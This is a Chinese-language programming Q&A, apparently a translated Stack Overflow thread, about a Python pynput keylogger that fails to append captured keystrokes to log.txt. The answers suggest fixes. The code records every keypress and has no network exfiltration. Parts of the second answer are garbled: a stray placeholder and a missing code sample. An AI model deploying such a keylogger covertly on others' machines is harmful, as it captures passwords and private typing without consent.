我试图创建一个键盘记录器,以便在运行它时将所有记录的键附加到文本文件中。当前,它正在记录所有键,但是没有追加到设置的文本文件中。
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 10:
count = 0
write_file(str(keys))
keys = []
def write_file(keys):
with open("log.txt","a") as f:
for key in keys:
f.write(str(key))
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
答案 0 :(得分:0)
尝试删除您要赋予str
函数的keys
附近的write_file
。
喜欢:
write_file(keys)
str
列表时,您将整个列表作为字符串...
答案 1 :(得分:0)
对于我来说,日志记录似乎很好...问题可能是列表keys
的所有元素都不都是相同的类型,或更具体地说,列表{{1} }例如如果按下空格则为“'a'”,但如果按下空格则为“ Key.space”。
因此,如果要将其很好地记录在文本文件中,则必须对其应用更多格式。
快速修复程序可能看起来像
keys
顺便说一下,全局变量是邪恶的;-)